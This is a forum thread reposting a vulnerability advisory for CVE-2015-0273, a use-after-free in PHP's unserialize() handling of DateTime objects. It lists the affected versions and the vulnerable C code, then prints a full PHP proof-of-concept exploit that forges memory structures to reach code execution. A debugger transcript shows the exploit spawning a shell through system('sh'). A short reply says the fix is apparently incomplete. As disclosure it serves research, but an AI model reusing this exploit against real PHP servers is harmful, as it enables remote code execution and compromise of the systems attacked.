Aerosol Posted February 23, 2015 Report Share Posted February 23, 2015 Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273]Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:2015.1.29 - Release Date: 2015.2.20A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone/DateInterval/DatePeriod objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.Affected Versions------------Affected is PHP 5.6 < 5.6.6Affected is PHP 5.5 < 5.5.22Affected is PHP 5.4 < 5.4.38Credits------------This vulnerability was disclosed by Taoguang Chen.Description------------static int php_date_initialize_from_hash(php_date_obj **dateobj,HashTable *myht){ zval *z_date; zval *z_timezone; zval *z_timezone_type; zval tmp_obj; timelib_tzinfo *tzi; php_timezone_obj *tzobj; z_date = zend_hash_str_find(myht, "date", sizeof("data")-1); if (z_date) { convert_to_string(z_date); z_timezone_type = zend_hash_str_find(myht, "timezone_type",sizeof("timezone_type")-1); if (z_timezone_type) { convert_to_long(z_timezone_type); z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1); if (z_timezone) { convert_to_string(z_timezone);...static int php_date_timezone_initialize_from_hash(zval **return_value,php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC){ zval **z_timezone = NULL; zval **z_timezone_type = NULL; if (zend_hash_find(myht, "timezone_type", 14, (void**)&z_timezone_type) == SUCCESS) { if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) { convert_to_long(*z_timezone_type); if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone)TSRMLS_CC)) { return SUCCESS; } } } return FAILURE;}The convert_to_long() leads to the ZVAL and all its children is freedfrom memory. However the unserialize() code will still allow to use R:or r: to set references to that already freed memory. There is a useafter free vulnerability, and allows to execute arbitrary code.Proof of Concept Exploit------------The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.<?php$f = $argv[1];$c = $argv[2];$fakezval1 = ptr2str(0x100b83008);$fakezval1 .= ptr2str(0x8);$fakezval1 .= "\x00\x00\x00\x00";$fakezval1 .= "\x06";$fakezval1 .= "\x00";$fakezval1 .= "\x00\x00";$data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}';$x = unserialize($data1);$y = $x[2];// zend_eval_string()'s address$y[0][0] = "\x6d";$y[0][1] = "\x1e";$y[0][2] = "\x35";$y[0][3] = "\x00";$y[0][4] = "\x01";$y[0][5] = "\x00";$y[0][6] = "\x00";$y[0][7] = "\x00";$fakezval2 = ptr2str(0x3b296324286624); // $f($c);$fakezval2 .= ptr2str(0x100b83000);$fakezval2 .= "\x00\x00\x00\x00";$fakezval2 .= "\x05";$fakezval2 .= "\x00";$fakezval2 .= "\x00\x00";$data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}';$z = unserialize($data2);function ptr2str($ptr){ $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out;}?>Test the PoC on the command line, then any PHP code can be executed:$ lldb php(lldb) target create "php"Current executable set to 'php' (x86_64).(lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"Process 13472 launched: '/usr/bin/php' (x86_64)sh: no job control in this shellsh-3.2$ php -vPHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25)Copyright (c) 1997-2014 The PHP GroupZend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologiessh-3.2$ exitexitProcess 13472 exited with status = 0 (0x00000000)(lldb)Source Quote Link to comment Share on other sites More sharing options...
Nytro Posted February 23, 2015 Report Share Posted February 23, 2015 Cica nu ar fi reparata complet. Quote Link to comment Share on other sites More sharing options...